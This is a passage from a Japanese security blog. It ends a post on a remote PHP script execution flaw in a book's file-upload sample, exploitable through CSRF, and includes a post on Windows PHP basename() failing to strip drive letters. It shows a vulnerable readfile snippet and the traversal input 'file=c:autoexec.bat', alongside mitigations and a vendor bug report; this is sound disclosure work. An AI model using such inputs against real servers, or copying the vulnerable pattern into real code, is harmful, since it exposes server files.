  • OriginヘッダとRefererヘッダがワナサイトを示しているが、元のPHPスクリプトはこれらをチェックしていないので攻撃には影響ない
このスクリプトをCSRF攻撃でアップロードされたタイミングを見計らって、攻撃者が/gazou/a.phpにアクセスすると、以下のようにphpinfoが表示されます。


ということで、第三者が勝手なPHPスクリプトをアップロードして実行できることを確認しました。

対策

サーバーサイドのスクリプト実行を防ぐための最低限の対策は以下となります。
  • アップロードするファイル名の拡張子を画像のもの(.jpg等)に制限する
ですが、元のスクリプトは色々心許ない感じです。たとえば、ファイル名の衝突があった場合、元々あった画像に上書きされてしまいますが、それをチェックする仕組みはなく、運用でカバーするしかありません。このあたり、本当に「プロ並み」となるには、配慮しなければならないポイントが多くありそうです。
また、サーバーサイドのスクリプト実行脆弱性がきわめて危険であることを考えると、保険的な対策として、以下を推奨します。
  • アップロードされた画像は公開領域に保存せず、スクリプト経由でダウンロードさせるようにする
本稿では説明していませんが、アップロードした画像ファイルを悪用したクロスサイト・スクリプティング(XSS)攻撃もあり得ます。詳しくは下記をご覧下さい。
対策としては下記を推奨します。
  • アップロード時に拡張子が画像のもの(.jpg等)であることを確認する
  • 画像のマジックバイト(前述のエントリを参照)を確認する
  • レスポンスヘッダContent-Typeを正しく設定する
  • 保険的に、X-Content-Type-Options: nosniff をレスポンスヘッダとして送信する
具体的なプログラミング例については、下記参考書をご確認ください。
さらに、CSRF脆弱性については、ふつーに対策してください。

まとめ

書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性について報告しました。ファイルアップロード単体では、ログインユーザのみが悪用できる脆弱性ですが、CSRF脆弱性を組み合わせることにより、第三者が任意のPHPスクリプトをアップロードできることを示しました。


2014年1月10日金曜日

Windows版PHPのbasename関数はドライブレターを除去しない場合がある

Windows版PHPのbasename関数は、パス名にディレクトリセパレータ(「\」および「/」)がない場合、ドライブレター(「C:」など)を除去しないことが分かりました。

具体的には、basename('c:autoexec.bat') の結果は、引数そのまま c:autoexec.bat となります。一方、basename('c:\autoexec.bat') の結果は、autoexec.bat と、期待通りの結果となります。

これにより、以下のようなスクリプトに対しては、c: などドライブレターが取り除かれないことになります。
$file = $_GET['file'];
readfile(basename($file));
上記に対して、file=c:autoexec.bat を指定すると、readfile('c:autoexec.bat') が実行されます。試してみると、ディレクトリセパレータがない場合、カレントディレクトリのautoexec.bat ではなく、c:\autoexec.bat がオープンされるようです。 ドライブレターは c: に限ったわけではなく、d:ドライブなど他のドライブのルートディレクトリ上のファイルもオープン可能となります。
すなわち、以下の条件が全てそろった場合、アプリケーションの想定ディレクトリではなく、任意ドライブのルートディレクトリの任意ファイルにアクセスできることになります。
  • ファイル名として、basename関数を通しただけのパス名を指定している
  • ディレクトリの指定をしていない。
そして、以下の影響が考えられます。
  • ルートディレクトリに重要情報があり、ファイル名を知る手段があれば、情報漏洩となる
  • 指定したファイルに書き込みができる場合、ルートディレクトリの任意ファイル名で書き込みができる(*1)
と、これだけ見ると「そんなにありそうではないけど、該当する場合はやばくないか」と思われるかもしれませんが、この条件に該当するスクリプトは、このbasename関数の挙動がなくても脆弱である可能性が高いです。
  • ディレクトリ修飾をしていないので、カレントディレクトリのPHPソースファイルにアクセスできる可能性が高い
  • 書き込みできるスクリプトの場合、任意内容のPHPスクリプトを外部から書き込むことにより、スクリプトインジェクションができてしまう
拡張子の制限をしている場合など、脅威は減少しますが、いずれにせよ良くない書き方であるわけで、この機会にソースを見直しましょう。

安全なウェブサイトの作り方改訂第6版によると、ディレクトリトラバーサル脆弱性の根本的解決策は以下のいずれかとなっています。
  • 外部からのパラメータでウェブサーバ内のファイル名を直接指定する実装を避ける。(3-(i)-a)
  • ファイルを開く際は、固定のディレクトリを指定し、かつファイル名にディレクトリ名が含まれないようにする。(3-(i)-b)
先に指摘した「該当するケース」は、3-(i)-bの「固定のディレクトリを指定し」ていない状態ですので、これを指定することで、この問題の影響を受けなくなります。
下記は、安全なウェブサイトの作り方改訂第6版のP71から、ディレクトリトラバーサル脆弱性の修正例です。
$dir = '/home/www/image/';
…
$file_name = $_GET['file_name'];
…
if(!file_exists($dir . basename($file_name))) {
  $file_name = 'nofile.png';
}
$fp = fopen($dir . basename($file_name),'rb');
fpassthru($fp);
上記はWindowsに限った話ではなく、Unix/Linuxでも同じですので、この機会にディレクトリトラバーサル対策の見直しをお勧めします。

なお、当該問題はphp.netにてBug #66395として報告済みで、既にリポジトリ上は修正されていますが、完全には対策されないと予想されます。安全なウェブサイトの作り方のようにアプリケーション側の正しい対応をお勧めします。

*1 Windowsのルートディレクトリに書き込むには高い権限が必要ですが、Windows版Apacheの場合、SYSTEM権限で動作するので、Apache上のPHPからルートディレクトリにファイルを書き込みできることを確認しています。

追記(2014/3/6)

この問題はPHP5.4.25 / PHP5.5.9にて改修されました。詳しくは「Windows版PHPのbasename関数がドライブレターを除去しない問題はPHP5.4.25/PHP5.5.9で改修された」を参照下さい。

フォロワー

ブログ アーカイブ